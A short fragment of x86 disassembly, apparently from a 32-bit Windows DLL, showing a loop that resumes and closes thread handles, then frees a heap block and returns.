test esi, esi
je 0x1001ecf5
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebp - 8]
jb 0x1001ecd3
mov edx, dword [0x10193894]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret